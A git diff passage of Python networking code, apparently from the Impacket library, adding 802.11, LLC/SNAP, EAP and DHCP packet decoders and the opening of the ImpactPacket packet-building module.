+        BaseDot11Decoder.__init__(self, key_manager)
+        
+    def set_dot11_hdr(self, dot11_obj):
+        self.dot11 = dot11_obj
+        
+    def decode(self, aBuffer):
+        if self.dot11.get_fromDS() and self.dot11.get_toDS():
+            if self.dot11.is_QoS_frame():
+                p = dot11.Dot11DataAddr4QoSFrame(aBuffer)
+            else:
+                p = dot11.Dot11DataAddr4Frame(aBuffer)
+        elif self.dot11.is_QoS_frame():
+            p = dot11.Dot11DataQoSFrame(aBuffer)
+        else:
+            p = dot11.Dot11DataFrame(aBuffer)
+        self.set_decoded_protocol( p )
+        
+        if not self.dot11.get_protectedFrame():
+            self.llc_decoder = LLCDecoder()
+            packet = self.llc_decoder.decode(p.body_string)
+        else:
+            if not self.dot11.get_fromDS() and self.dot11.get_toDS():
+                bssid = p.get_address1()
+            elif self.dot11.get_fromDS() and not self.dot11.get_toDS():
+                bssid = p.get_address2()
+            elif not self.dot11.get_fromDS() and not self.dot11.get_toDS():
+                bssid = p.get_address3()
+            else:
+                # WDS, this is the RA
+                bssid = p.get_address1()
+                
+            wep_decoder = Dot11WEPDecoder(self.key_manager)
+            wep_decoder.set_bssid(bssid)
+            packet = wep_decoder.decode(p.body_string)
+            if packet is None:
+                wpa_decoder = Dot11WPADecoder()
+                packet = wpa_decoder.decode(p.body_string)
+                if packet is None:
+                    wpa2_decoder = Dot11WPA2Decoder()
+                    packet = wpa2_decoder.decode(p.body_string)
+                    if packet is None:
+                        data_decoder = DataDecoder()
+                        packet = data_decoder.decode(p.body_string)
+        
+        p.contains(packet)
+        return p
+      
+class Dot11WEPDecoder(BaseDot11Decoder):
+    def __init__(self, key_manager):
+        BaseDot11Decoder.__init__(self, key_manager)
+        self.bssid = None
+        
+    def set_bssid(self, bssid):
+        self.bssid = bssid
+        
+    def decode(self, aBuffer):
+        wep = dot11.Dot11WEP(aBuffer)
+        self.set_decoded_protocol( wep )
+        
+        if wep.is_WEP() is False:
+            return None
+        
+        key = self.find_key(self.bssid)
+        if key:
+            decoded_string=wep.get_decrypted_data(key)
+            
+            wep_data = Dot11WEPDataDecoder()
+            packet = wep_data.decode(decoded_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(wep.body_string)
+        
+        wep.contains(packet)
+        
+        return wep
+
+class Dot11WEPDataDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        wep_data = dot11.Dot11WEPData(aBuffer)
+
+        if not wep_data.check_icv():
+            # TODO: Do something when the icv is not correct
+            pass
+
+        self.set_decoded_protocol( wep_data )
+
+        llc_decoder = LLCDecoder()
+        packet = llc_decoder.decode(wep_data.body_string)
+
+        wep_data.contains(packet)
+
+        return wep_data
+
+
+class Dot11WPADecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer, key=None):
+        wpa = dot11.Dot11WPA(aBuffer)
+        self.set_decoded_protocol( wpa )
+
+        if wpa.is_WPA() is False:
+            return None
+
+        if key:
+            decoded_string=wpa.get_decrypted_data()
+
+            wpa_data = Dot11WPADataDecoder()
+            packet = wpa_data.decode(decoded_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(wpa.body_string)
+
+        wpa.contains(packet)
+
+        return wpa
+
+class Dot11WPADataDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        wpa_data = dot11.Dot11WPAData(aBuffer)
+        self.set_decoded_protocol( wpa_data )
+
+        llc_decoder = LLCDecoder()
+        packet = self.llc_decoder.decode(wpa_data.body_string)
+
+        wpa_data.contains(packet)
+
+        return wpa_data
+
+class Dot11WPA2Decoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer, key=None):
+        wpa2 = dot11.Dot11WPA2(aBuffer)
+        self.set_decoded_protocol( wpa2 )
+
+        if wpa2.is_WPA2() is False:
+            return None
+
+        if key:
+            decoded_string=wpa2.get_decrypted_data()
+
+            wpa2_data = Dot11WPA2DataDecoder()
+            packet = wpa2_data.decode(decoded_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(wpa2.body_string)
+
+            wpa2.contains(packet)
+
+            return wpa2
+
+class Dot11WPA2DataDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        wpa2_data = dot11.Dot11WPA2Data(aBuffer)
+        self.set_decoded_protocol( wpa2_data )
+
+        llc_decoder = LLCDecoder()
+        packet = self.llc_decoder.decode(wpa2_data.body_string)
+
+        wpa2_data.contains(packet)
+
+        return wpa2_data
+
+class LLCDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        d = dot11.LLC(aBuffer)
+        self.set_decoded_protocol( d )
+
+        if d.get_DSAP()==dot11.SAPTypes.SNAP:
+            if d.get_SSAP()==dot11.SAPTypes.SNAP:
+                if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES:
+                    snap_decoder = SNAPDecoder()
+                    packet = snap_decoder.decode(d.body_string)
+                    d.contains(packet)
+                    return d
+
+        # Only SNAP is implemented
+        data_decoder = DataDecoder()
+        packet = data_decoder.decode(d.body_string)
+        d.contains(packet)
+        return d
+
+class SNAPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        s = dot11.SNAP(aBuffer)
+        self.set_decoded_protocol( s )
+        if  s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type:
+            dec = CDPDecoder()
+            packet = dec.decode(s.body_string)
+        elif  s.get_OUI()!=0x000000:
+            # We don't know how to handle other than OUI=0x000000 (EtherType)
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(s.body_string)
+        elif s.get_protoID() == ImpactPacket.IP.ethertype:
+            self.ip_decoder = IPDecoder()
+            packet = self.ip_decoder.decode(s.body_string)
+        elif s.get_protoID() == ImpactPacket.ARP.ethertype:
+            self.arp_decoder = ARPDecoder()
+            packet = self.arp_decoder.decode(s.body_string)
+        elif s.get_protoID() == eap.DOT1X_AUTHENTICATION:
+            self.eapol_decoder = EAPOLDecoder()
+            packet = self.eapol_decoder.decode(s.body_string)
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(s.body_string)
+
+        s.contains(packet)
+        return s
+
+class CDPDecoder(Decoder):
+
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        s = CDP(aBuffer)
+        self.set_decoded_protocol( s )
+        return s
+
+class Dot11ManagementDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+        self.subtype = None
+
+    def set_subtype(self, subtype):
+        self.subtype=subtype
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementFrame(aBuffer)
+        self.set_decoded_protocol( p )
+
+        if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON:
+            self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder()
+            packet = self.mgt_beacon_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST:
+            self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder()
+            packet = self.mgt_probe_request_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE:
+            self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder()
+            packet = self.mgt_probe_response_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION:
+            self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder()
+            packet = self.mgt_deauthentication_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION:
+            self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder()
+            packet = self.mgt_Authentication_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION:
+            self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder()
+            packet = self.mgt_disassociation_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST:
+            self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder()
+            packet = self.mgt_association_request_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE:
+            self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder()
+            packet = self.mgt_association_response_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST:
+            self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder()
+            packet = self.mgt_reassociation_request_decoder.decode(p.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE:
+            self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder()
+            packet = self.mgt_reassociation_response_decoder.decode(p.body_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(p.body_string)
+
+        p.contains(packet)
+        return p
+
+class Dot11ManagementBeaconDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementBeacon(aBuffer)
+        self.set_decoded_protocol( p )
+
+        return p
+
+class Dot11ManagementProbeRequestDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementProbeRequest(aBuffer)
+        self.set_decoded_protocol( p )
+
+        return p
+
+class Dot11ManagementProbeResponseDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementProbeResponse(aBuffer)
+        self.set_decoded_protocol( p )
+
+        return p
+
+class Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementDeauthentication(aBuffer)
+        self.set_decoded_protocol( p )
+
+        return p
+
+class Dot11ManagementAuthenticationDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementAuthentication(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class Dot11ManagementDisassociationDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementDisassociation(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementAssociationRequest(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementAssociationResponse(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementReassociationRequest(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        p = dot11.Dot11ManagementReassociationResponse(aBuffer)
+        self.set_decoded_protocol(p)
+
+        return p
+
+class BaseDecoder(Decoder):
+
+    def decode(self, buff):
+
+        packet = self.klass(buff)
+        self.set_decoded_protocol(packet)
+        cd = self.child_decoders.get(self.child_key(packet), DataDecoder())
+        packet.contains(cd.decode(packet.get_body_as_string()))
+        return packet
+
+class SimpleConfigDecoder(BaseDecoder):
+
+    child_decoders = {}
+    klass = wps.SimpleConfig
+    child_key = lambda s,p: None
+
+    def decode(self, buff):
+        sc = BaseDecoder.decode(self, buff)
+        ary = array.array('B', sc.child().get_packet())
+        sc.unlink_child()
+        tlv = wps.SimpleConfig.build_tlv_container()
+        tlv.from_ary(ary)
+        sc.contains(tlv)
+
+        return sc
+
+class EAPExpandedDecoder(BaseDecoder):
+    child_decoders = {
+        (eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(),
+    }
+    klass = eap.EAPExpanded
+    child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type())
+
+class EAPRDecoder(BaseDecoder):
+    child_decoders = {
+        eap.EAPR.EXPANDED:EAPExpandedDecoder()
+    }
+    klass = eap.EAPR
+    child_key = lambda s, p: p.get_type()
+
+class EAPDecoder(BaseDecoder):
+    child_decoders = {
+        eap.EAP.REQUEST: EAPRDecoder(),
+        eap.EAP.RESPONSE: EAPRDecoder(),
+    }
+    klass = eap.EAP
+    child_key = lambda s, p: p.get_code()
+
+class EAPOLDecoder(BaseDecoder):
+    child_decoders = {
+        eap.EAPOL.EAP_PACKET: EAPDecoder()
+    }
+    klass = eap.EAPOL
+    child_key = lambda s, p: p.get_packet_type()
+
+class BootpDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        d = dhcp.BootpPacket(aBuffer)
+        self.set_decoded_protocol( d )
+        off = len(d.getData())
+        if dhcp.DhcpPacket(aBuffer[off:])['cookie'] == dhcp.DhcpPacket.MAGIC_NUMBER:
+            self.data_decoder = DHCPDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:])
+            d.contains(packet)
+        return d
+
+class DHCPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        d = dhcp.DhcpPacket(aBuffer)
+        self.set_decoded_protocol( d )
+        return d
diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py
new file mode 100644
index 0000000..a20ca15
--- /dev/null
+++ b/impacket/ImpactPacket.py
@@ -0,0 +1,2144 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Network packet codecs basic building blocks.
+#   Low-level packet codecs for various Internet protocols.
+#
+# Author:
+#   Javier Burroni (javier)
+#   Bruce Leidl (brl)
+#   Javier Kohen (jkohen)
+#
+
+from __future__ import division
+from __future__ import print_function
+import array
+import struct
+import socket
+import string
+import sys
+from binascii import hexlify
+from functools import reduce
+
+# Alias function for compatibility with both Python <3.2 `tostring` and `fromstring` methods, and
+# Python >=3.2 `tobytes` and `tostring`
+if sys.version_info[0] >= 3 and sys.version_info[1] >= 2:
+    array_tobytes = lambda array_object: array_object.tobytes()
+    array_frombytes = lambda array_object, bytes: array_object.frombytes(bytes)
+else:
+    array_tobytes = lambda array_object: array_object.tostring()
+    array_frombytes = lambda array_object, bytes: array_object.fromstring(bytes)
+
+
+"""Classes to build network packets programmatically.
+
+Each protocol layer is represented by an object, and these objects are
+hierarchically structured to form a packet. This list is traversable
+in both directions: from parent to child and vice versa.
+
+All objects can be turned back into a raw buffer ready to be sent over
+the wire (see method get_packet).
+"""
+
+class ImpactPacketException(Exception):
+    def __init__(self, value):
+        self.value = value
+    def __str__(self):
+        return repr(self.value)
+
+class PacketBuffer(object):
+    """Implement the basic operations utilized to operate on a
+    packet's raw buffer. All the packet classes derive from this one.
+
+    The byte, word, long and ip_address getters and setters accept
+    negative indexes, having these the a similar effect as in a
+    regular Python sequence slice.
+    """
+
+    def __init__(self, length = None):
+        "If 'length' is specified the buffer is created with an initial size"
+        if length:
+            self.__bytes = array.array('B', b'\0' * length)
+        else:
+            self.__bytes = array.array('B')
+
+    def set_bytes_from_string(self, data):
+        "Sets the value of the packet buffer from the string 'data'"
+        self.__bytes = array.array('B', data)
+
+    def get_buffer_as_string(self):
+        "Returns the packet buffer as a string object"
+        return array_tobytes(self.__bytes)
+
+    def get_bytes(self):
+        "Returns the packet buffer as an array"
+        return self.__bytes
+
+    def set_bytes(self, bytes):
+        "Set the packet buffer from an array"
+        # Make a copy to be safe
+        self.__bytes = array.array('B', bytes.tolist())
+
+    def set_byte(self, index, value):
+        "Set byte at 'index' to 'value'"
+        index = self.__validate_index(index, 1)
+        self.__bytes[index] = value
+
+    def get_byte(self, index):
+        "Return byte at 'index'"
+        index = self.__validate_index(index, 1)
+        return self.__bytes[index]
+
+    def set_word(self, index, value, order = '!'):
+        "Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 2)
+        ary = array.array("B", struct.pack(order + 'H', value))
+        if -2 == index:
+            self.__bytes[index:] = ary
+        else:
+            self.__bytes[index:index+2] = ary
+
+    def get_word(self, index, order = '!'):
+        "Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 2)
+        if -2 == index:
+            bytes = self.__bytes[index:]
+        else:
+            bytes = self.__bytes[index:index+2]
+        (value,) = struct.unpack(order + 'H', array_tobytes(bytes))
+        return value
+
+    def set_long(self, index, value, order = '!'):
+        "Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 4)
+        ary = array.array("B", struct.pack(order + 'L', value))
+        if -4 == index:
+            self.__bytes[index:] = ary
+        else:
+            self.__bytes[index:index+4] = ary
+
+    def get_long(self, index, order = '!'):
+        "Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 4)
+        if -4 == index:
+            bytes = self.__bytes[index:]
+        else:
+            bytes = self.__bytes[index:index+4]
+        (value,) = struct.unpack(order + 'L', array_tobytes(bytes))
+        return value
+
+    def set_long_long(self, index, value, order = '!'):
+        "Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 8)
+        ary = array.array("B", struct.pack(order + 'Q', value))
+        if -8 == index:
+            self.__bytes[index:] = ary
+        else:
+            self.__bytes[index:index+8] = ary
+
+    def get_long_long(self, index, order = '!'):
+        "Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'."
+        index = self.__validate_index(index, 8)
+        if -8 == index:
+            bytes = self.__bytes[index:]
+        else:
+            bytes = self.__bytes[index:index+8]
+        (value,) = struct.unpack(order + 'Q', array_tobytes(bytes))
+        return value
+
+
+    def get_ip_address(self, index):
+        "Return 4-byte value at 'index' as an IP string"
+        index = self.__validate_index(index, 4)
+        if -4 == index:
+            bytes = self.__bytes[index:]
+        else:
+            bytes = self.__bytes[index:index+4]
+        return socket.inet_ntoa(array_tobytes(bytes))
+
+    def set_ip_address(self, index, ip_string):
+        "Set 4-byte value at 'index' from 'ip_string'"
+        index = self.__validate_index(index, 4)
+        raw = socket.inet_aton(ip_string)
+        (b1,b2,b3,b4) = struct.unpack("BBBB", raw)
+        self.set_byte(index, b1)
+        self.set_byte(index + 1, b2)
+        self.set_byte(index + 2, b3)
+        self.set_byte(index + 3, b4)
+
+    def set_checksum_from_data(self, index, data):
+        "Set 16-bit checksum at 'index' by calculating checksum of 'data'"
+        self.set_word(index, self.compute_checksum(data))
+
+    def compute_checksum(self, anArray):
+        "Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'"
+        nleft = len(anArray)
+        sum = 0
+        pos = 0
+        while nleft > 1:
+            sum = anArray[pos] * 256 + (anArray[pos + 1] + sum)
+            pos = pos + 2
+            nleft = nleft - 2
+        if nleft == 1:
+            sum = sum + anArray[pos] * 256
+        return self.normalize_checksum(sum)
+
+    def normalize_checksum(self, aValue):
+        sum = aValue
+        sum = (sum >> 16) + (sum & 0xFFFF)
+        sum += (sum >> 16)
+        sum = (~sum & 0xFFFF)
+        return sum
+
+    def __validate_index(self, index, size):
+        """This method performs two tasks: to allocate enough space to
+        fit the elements at positions index through index+size, and to
+        adjust negative indexes to their absolute equivalent.
+        """
+
+        orig_index = index
+
+        curlen = len(self.__bytes)
+        if index < 0:
+            index = curlen + index
+
+        diff = index + size - curlen
+        if diff > 0:
+            array_frombytes(self.__bytes, b'\0' * diff)
+            if orig_index < 0:
+                orig_index -= diff
+
+        return orig_index
+
+class ProtocolLayer():
+    "Protocol Layer Manager for insertion and removal of protocol layers."
+
+    __child = None
+    __parent = None
+        
+    def contains(self, aHeader):
+        "Set 'aHeader' as the child of this protocol layer"
+        self.__child = aHeader
+        aHeader.set_parent(self)
+
+    def set_parent(self, my_parent):
+        "Set the header 'my_parent' as the parent of this protocol layer"
+        self.__parent = my_parent
+
+    def child(self):
+        "Return the child of this protocol layer"
+        return self.__child
+
+    def parent(self):
+        "Return the parent of this protocol layer"
+        return self.__parent
+    
+    def unlink_child(self):
+        "Break the hierarchy parent/child child/parent"
+        if self.__child:
+            self.__child.set_parent(None)
+            self.__child = None 
+
+class ProtocolPacket(ProtocolLayer):
+    __HEADER_SIZE = 0
+    __BODY_SIZE = 0
+    __TAIL_SIZE = 0
+    
+    __header = None
+    __body = None
+    __tail = None
+
+    def __init__(self, header_size, tail_size):
+        self.__HEADER_SIZE = header_size
+        self.__TAIL_SIZE = tail_size
+        self.__header=PacketBuffer(self.__HEADER_SIZE)
+        self.__body=PacketBuffer()
+        self.__tail=PacketBuffer(self.__TAIL_SIZE)
+        
+    def __update_body_from_child(self):
+        # Update child raw packet in my body
+        if self.child():
+            body=self.child().get_packet()
+            self.__BODY_SIZE=len(body)
+            self.__body.set_bytes_from_string(body)
+            
+    def __get_header(self):
+        return self.__header
+    
+    header = property(__get_header)
+
+    def __get_body(self):
+        self.__update_body_from_child()
+        return self.__body
+    
+    body = property(__get_body)
+    
+    def __get_tail(self):
+        return self.__tail
+    
+    tail = property(__get_tail)
+
+    def get_header_size(self):
+        "Return frame header size"
+        return self.__HEADER_SIZE
+    
+    def get_tail_size(self):
+        "Return frame tail size"
+        return self.__TAIL_SIZE
+    
+    def get_body_size(self):
+        "Return frame body size"
+        self.__update_body_from_child()
+        return self.__BODY_SIZE
+
+    def get_size(self):
+        "Return frame total size"
+        return self.get_header_size()+self.get_body_size()+self.get_tail_size()
+    
+    def load_header(self, aBuffer):
+        self.__HEADER_SIZE=len(aBuffer)
+        self.__header.set_bytes_from_string(aBuffer)
+    
+    def load_body(self, aBuffer):
+        "Load the packet body from string. "\
+        "WARNING: Using this function will break the hierarchy of preceding protocol layer"
+        self.unlink_child()
+        self.__BODY_SIZE=len(aBuffer)
+        self.__body.set_bytes_from_string(aBuffer)
+    
+    def load_tail(self, aBuffer):
+        self.__TAIL_SIZE=len(aBuffer)
+        self.__tail.set_bytes_from_string(aBuffer)
+    
+    def __extract_header(self, aBuffer):
+        self.load_header(aBuffer[:self.__HEADER_SIZE])
+        
+    def __extract_body(self, aBuffer):
+        if self.__TAIL_SIZE<=0:
+            end=None
+        else:
+            end=-self.__TAIL_SIZE
+        self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end])
+        self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end])
+        
+    def __extract_tail(self, aBuffer):
+        if self.__TAIL_SIZE<=0:
+            # leave the array empty
+            return
+        else:
+            start=-self.__TAIL_SIZE
+        self.__tail.set_bytes_from_string(aBuffer[start:])
+
+    def load_packet(self, aBuffer):
+        "Load the whole packet from a string" \
+        "WARNING: Using this function will break the hierarchy of preceding protocol layer"
+        self.unlink_child()
+        
+        self.__extract_header(aBuffer)
+        self.__extract_body(aBuffer)
+        self.__extract_tail(aBuffer)
+        
+    def get_header_as_string(self):
+        return self.__header.get_buffer_as_string()
+        
+    def get_body_as_string(self):
+        self.__update_body_from_child()
+        return self.__body.get_buffer_as_string()
+    body_string = property(get_body_as_string)
+    
+    def get_tail_as_string(self):
+        return self.__tail.get_buffer_as_string()
+    tail_string = property(get_tail_as_string)
+        
+    def get_packet(self):
+        self.__update_body_from_child()
+        
+        ret = b''
+        
+        header = self.get_header_as_string()
+        if header:
+            ret += header
+
+        body = self.get_body_as_string()
+        if body:
+            ret += body
+        
+        tail = self.get_tail_as_string()    
+        if tail:
+            ret += tail
+            
+        return ret
+
+class Header(PacketBuffer,ProtocolLayer):
+    "This is the base class from which all protocol definitions extend."
+
+    packet_printable = [c for c in string.printable if c not in string.whitespace] + [' ']
+
+    ethertype = None
+    protocol = None
+    def __init__(self, length = None):
+        PacketBuffer.__init__(self, length)
+        self.auto_checksum = 1
+
+    def get_data_as_string(self):
+        "Returns all data from children of this header as string"
+
+        if self.child():
+            return self.child().get_packet()
+        else:
+            return None
+
+    def get_packet(self):
+        """Returns the raw representation of this packet and its
+        children as a string. The output from this method is a packet
+        ready to be transmitted over the wire.
+        """
+        self.calculate_checksum()
+
+        data = self.get_data_as_string()
+        if data:
+            return self.get_buffer_as_string() + data
+        else:
+            return self.get_buffer_as_string()
+
+    def get_size(self):
+        "Return the size of this header and all of it's children"
+        tmp_value = self.get_header_size()
+        if self.child():
+            tmp_value = tmp_value + self.child().get_size()
+        return tmp_value
+
+    def calculate_checksum(self):
+        "Calculate and set the checksum for this header"
+        pass
+
+    def get_pseudo_header(self):
+        "Pseudo headers can be used to limit over what content will the checksums be calculated."
+        # default implementation returns empty array
+        return array.array('B')
+
+    def load_header(self, aBuffer):
+        "Properly set the state of this instance to reflect that of the raw packet passed as argument."
+        self.set_bytes_from_string(aBuffer)
+        hdr_len = self.get_header_size()
+        if(len(aBuffer) < hdr_len):         #we must do something like this
+            diff = hdr_len - len(aBuffer)
+            for i in range(0, diff):
+                aBuffer += '\x00'
+        self.set_bytes_from_string(aBuffer[:hdr_len])
+
+    def get_header_size(self):
+        "Return the size of this header, that is, not counting neither the size of the children nor of the parents."
+        raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__)
+
+    def list_as_hex(self, aList):
+        if len(aList):
+            ltmp = []
+            line = []
+            count = 0
+            for byte in aList:
+                if not (count % 2):
+                    if (count % 16):
+                        ltmp.append(' ')
+                    else:
+                        ltmp.append(' '*4)
+                        ltmp.append(''.join(line))
+                        ltmp.append('\n')
+                        line = []
+                if chr(byte) in Header.packet_printable:
+                    line.append(chr(byte))
+                else:
+                    line.append('.')
+                ltmp.append('%.2x' % byte)
+                count += 1
+            if (count%16):
+                left = 16 - (count%16)
+                ltmp.append(' ' * (4+(left // 2) + (left*2)))
+                ltmp.append(''.join(line))
+                ltmp.append('\n')
+            return ltmp
+        else:
+            return []
+
+    def __str__(self):
+        ltmp = self.list_as_hex(self.get_bytes().tolist())
+
+        if self.child():
+            ltmp.append(['\n', str(self.child())])
+
+        if len(ltmp)>0:
+            return ''.join(ltmp)
+        else:
+            return ''
+
+
+
+class Data(Header):
+    """This packet type can hold raw data. It's normally employed to
+    hold a packet's innermost layer's contents in those cases for
+    which the protocol details are unknown, and there's a copy of a
+    valid packet available.
+
+    For instance, if all that's known about a certain protocol is that
+    a UDP packet with its contents set to "HELLO" initiate a new
+    session, creating such packet is as simple as in the following code
+    fragment:
+    packet = UDP()
+    packet.contains('HELLO')
+    """
+
+    def __init__(self, aBuffer = None):
+        Header.__init__(self)
+        if aBuffer:
+            self.set_data(aBuffer)
+
+    def set_data(self, data):
+        self.set_bytes_from_string(data)
+
+    def get_size(self):
+        return len(self.get_bytes())
+
+
+class EthernetTag(PacketBuffer):
+    """Represents a VLAN header specified in IEEE 802.1Q and 802.1ad.
+       Provides methods for convenient manipulation with header fields."""
+
+    def __init__(self, value=0x81000000):
+        PacketBuffer.__init__(self, 4)
+        self.set_long(0, value)
+
+    def get_tpid(self):
+        """Returns Tag Protocol Identifier"""
+        return self.get_word(0)
+
+    def set_tpid(self, value):
+        """Sets Tag Protocol Identifier"""
+        return self.set_word(0, value)
+
+    def get_pcp(self):
+        """Returns Priority Code Point"""
+        return (self.get_byte(2) & 0xE0) >> 5
+
+    def set_pcp(self, value):
+        """Sets Priority Code Point"""
+        orig_value = self.get_byte(2)
+        self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5))
+
+    def get_dei(self):
+        """Returns Drop Eligible Indicator"""
+        return (self.get_byte(2) & 0x10) >> 4
+
+    def set_dei(self, value):
+        """Sets Drop Eligible Indicator"""
+        orig_value = self.get_byte(2)
+        self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF)
+
+    def get_vid(self):
+        """Returns VLAN Identifier"""
+        return self.get_word(2) & 0x0FFF
+
+    def set_vid(self, value):
+        """Sets VLAN Identifier"""
+        orig_value = self.get_word(2)
+        self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF))
+
+    def __str__(self):
+        priorities = (
+            'Best Effort',
+            'Background',
+            'Excellent Effort',
+            'Critical Applications',
+            'Video, < 100 ms latency and jitter',
+            'Voice, < 10 ms latency and jitter',
+            'Internetwork Control',
+            'Network Control')
+
+        pcp = self.get_pcp()
+        return '\n'.join((
+            '802.1Q header: 0x{0:08X}'.format(self.get_long(0)),
+            'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]),
+            'Drop Eligible Indicator: {0}'.format(self.get_dei()),
